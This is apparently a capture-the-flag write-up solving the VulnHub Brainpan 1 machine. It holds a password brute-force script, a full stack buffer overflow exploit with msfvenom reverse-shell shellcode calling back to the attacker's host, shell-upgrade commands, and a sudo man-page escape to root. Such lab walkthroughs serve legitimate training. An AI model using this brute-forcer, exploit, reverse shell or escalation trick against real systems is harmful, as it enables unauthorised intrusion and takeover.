First of 3 in the Brainpan series created by superkojiman. A fun challenge with a easy BoF entry.
- Initial entry – enumerate and BoF
- Priv Esc – fix your shell
To start we confirm kali’s IP (192.168.56.101) and the victim (192.168.56.102). Note – .100 is another VM and .103 is a Win7 VM
A full TCP scan finds 2 open ports. A UDP scan is also done but only finds 68 / DHCPC open.
TCP 9999 – abyss?
When connecting to this, it appears to be a password login. Each password attempt kicks me out.
TCP 10000 – SimpleHTTPServer 0.6 (Python 2.7.3)
Browsing to this shows a static webpage. Nothing interesting in page source.
A quick dirb finds an interesting folder with a brainpan.exe inside. This is downloaded.
[email protected]:~/Documents/vulnhub/brainpan1# dirb http://192.168.56.102:10000/ /usr/share/wordlists/dirb/big.txt + http://192.168.56.102:10000/bin (CODE:301|SIZE:0)
From what has been found our options are.
1) Bruteforce the TCP9999 login?
2) Explore the brainpan.exe more?
I setup a dictionary attack on the login while the exe is investigated.
Bruteforcing the login
For fun a quick python script is created and the rockyou wordlist is run past this – with no luck. (later finding out, even if I did find the password “shitstorm” it was worth nothing)
#!/usr/bin/python import socket import sys host = "192.168.56.102" port = 9999 failStr = "ACCESS DENIED" wordList = "/usr/share/wordlists/rockyou.txt" def connect (guess): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) data = s.recv(1024) s.send(str(guess)+'\r\n') data = s.recv(1024) #sys.stdout.write("trying " + str(guess) + " - " + str(data)) s.close() except: print "Error:Could not connect" #opens a file for reading and sends each line as a guess f = open(wordList, "r") for i in f: result = connect(i) if failStr in str(result): print "Password found!!!! " + str(x) break print "sorry, not found :("
Explore the brainpan.exe (BOF)
Running this windows file (using wine) it appears to start listening for a connection. This will be interesting a windows binary, potentially running on a Linux box?
Sure enough, when run its shown listening on TCP 999 and has the same input screen.
When password guess are made via nc, the “wine” terminal, shows these inputs and the buffer size. Sounds like a buffer overflow challenge!
Sending 1000 characters using python fuzz.py | nc 127.0.0.1 9999 appears to crash the program.
#!/usr/bin/python buffer = "A"*1000 print buffer;
So we know this can be crashed, now to find exactly where. Create a unique pattern then send this to the program
#!/usr/bin/python #buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0" <snip> print buffer;
When it crashes this time, we take note of the values that overwrite the EIP register 35724134.
Then using the pattern offset module, enter this in to find the exact offset.
Modifying our code, to now send 524 A’s and 4 B’s, we see the EIP register is now overwritten with our 4 B’s.
#!/usr/bin/python buffer = "A"*524 + "B"*4
Copying this windows binary across to a Win7 VM and opening in OllyDbg. Using Putty to connect to the listening service (putty.exe -raw -P 9999 127.0.0.1). Then manually send our fuzzing data 524 A’s, 4 B’s and 95 C’s which causes the application to crash. The 95 C’s is the estimated space required for a reverse shell. We confirm EIP is still overwritten with the B’s and that our C’s (potential shell code) continue right after. Also note the ESP register points directly to this memory location (0028F930). So if we can find something that jumps to ESP, we can execute our shell code.
Note: if you see the ECX register this mentions “shitstorm” this happens to be the successful password to login to the service – however does nothing when logged in.
Next to find the return address. Normally you would target a dependent DLL or module, but as this is a standalone app, we’ll try that. Opening up the executable module “E” and double clicking on the “brainpan” executable
Then right clicking in the blank space and selecting “Search for” then “Command” we want to search for something that will get us to the ESP register.
The first one this finds is at location (311712F3)
Next step find the bad characters. I didn’t have python or anything installed on the Win7 VM, so just manually fed \x01 to \xff into the python fuzzing script on the kali box. I assumed /x00 was bad. Didn’t find any.
Next step generate the shell code. Taking note the linux reverse shell is 95 bytes in size. Note: While this is a Windows binary, we are connecting to a linux system so linux is specified.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=7777 -f c --platform linux -b "\x00" //[-] No arch selected, selecting arch: x86 from the payload //Found 10 compatible encoders //Attempting to encode payload with 1 iterations of x86/shikata_ga_nai //x86/shikata_ga_nai succeeded with size 95 (iteration=0) //x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes //Final size of c file: 425 bytes unsigned char buf = "\xd9\xcd\xbd\xc1\x75\xfb\xe6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1" "\x12\x31\x6e\x17\x83\xee\xfc\x03\xaf\x66\x19\x13\x1e\x52\x2a" "\x3f\x33\x27\x86\xaa\xb1\x2e\xc9\x9b\xd3\xfd\x8a\x4f\x42\x4e" "\xb5\xa2\xf4\xe7\xb3\xc5\x9c\x37\xeb\x0e\x39\xd0\xee\x6e\xdf" "\x41\x66\x8f\x6f\xe7\x28\x01\xdc\x5b\xcb\x28\x03\x56\x4c\x78" "\xab\x07\x62\x0e\x43\xb0\x53\xdf\xf1\x29\x25\xfc\xa7\xfa\xbc" "\xe2\xf7\xf6\x73\x64";
Next construct the python exploit “fuzz.py”.
#!/usr/bin/python #Return address found from Win7 VM testing #31 17 12 F3 . FFE4 JMP ESP ret = "\xF3\x12\x17\x31" #In Little Endian format #Reverse shell (95 bytes) payload = "\xd9\xcd\xbd\xc1\x75\xfb\xe6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1" payload += "\x12\x31\x6e\x17\x83\xee\xfc\x03\xaf\x66\x19\x13\x1e\x52\x2a" payload += "\x3f\x33\x27\x86\xaa\xb1\x2e\xc9\x9b\xd3\xfd\x8a\x4f\x42\x4e" payload += "\xb5\xa2\xf4\xe7\xb3\xc5\x9c\x37\xeb\x0e\x39\xd0\xee\x6e\xdf" payload += "\x41\x66\x8f\x6f\xe7\x28\x01\xdc\x5b\xcb\x28\x03\x56\x4c\x78" payload += "\xab\x07\x62\x0e\x43\xb0\x53\xdf\xf1\x29\x25\xfc\xa7\xfa\xbc" payload += "\xe2\xf7\xf6\x73\x64" nop = "\x90"*16 #little no operation slippery dip to help land our shell buffer = "A"*524 + ret + nop + payload print buffer;
This is run again. Start ncat listener nc -lvnp 7777 to catch reverse shell. Start local listening binary wine brainpain.exe then send payload python fuzz.py | nc 127.0.0.1 9999. This successfully gives me a shell on the kali box. The application also doesn’t crash.
Now trying again (with fingers crossed) this is run against the actual remote system python fuzz.py | nc 192.168.56.102 9999 which gives a shell – such a great feeling : )
We now have a limited Shell as user “puck”. We get trolled when trying to check the OS version.
spawn a python shell to improve things a little and check if puck has any sudo entries. There is a binary sitting in another users home folder which looks interesting.
Checking interesting users we find 3. “reynard” also appears to be in the sudo group.
Checking out the binary we can sudo with, there are 3 options with outputs shown below. Appears there are some terminal limitations.
I try changing to fully interactive shell with magic (This now allows autocomplete, colors etc).
# 1) Once getting a limited shell upgrade usability python -c 'import pty;pty.spawn("/bin/bash")' # 2)Show current terminal settings. Note dumb and no rows/columns echo $TERM dumb [email protected]:/home$ stty -a speed 38400 baud; rows 0; columns 0; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0; <snip> # 3) background shell (ctrl + z) ^Z # 4) back in kali check a good terminal. Note terminal type and rows/columns [email protected]:~/Documents/vulnhub/brainpan1# echo $TERM xterm-256color [email protected]:~/Documents/vulnhub/brainpan1# stty -a speed 38400 baud; rows 35; columns 80; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0; <snip> # 5) while shell still in background stty raw -echo fg reset Terminal Type? xterm-color # 6) set details [email protected]:/home/puck$ export SHELL=bash [email protected]:/home/puck$ export TERM=xterm-color [email protected]:/home/puck$ stty rows 35 columns 80
Also a way to fix the “terminal is not fully functional” error was to use
Now…. when running sudo /home/anansi/bin/anansi_util manual echo the man page is displayed and we can launch a shell from there by typing !sh
And we are running as root! There was a b.txt in the /root folder which just displayed a stapler.
Out of interest, I found the script responsible for running the windows binary and how the SimpleHTTPServer was running.
cat checksrv.sh #!/bin/bash # run brainpan.exe if it stops lsof -i:9999 if [[ $? -eq 1 ]]; then pid=`ps aux | grep brainpan.exe | grep -v grep` if [[ ! -z $pid ]]; then kill -9 $pid killall wineserver killall winedevice.exe fi /usr/bin/wine /home/puck/web/bin/brainpan.exe & fi # run SimpleHTTPServer if it stops lsof -i:10000 if [[ $? -eq 1 ]]; then pid=`ps aux | grep SimpleHTTPServer | grep -v grep` if [[ ! -z $pid ]]; then kill -9 $pid fi cd /home/puck/web /usr/bin/python -m SimpleHTTPServer 10000 fi
Other Alternative Solutions
I always love to check out how other approached it, after solving it myself. What they did differently, what I missed, better ways to solve the same problem etc.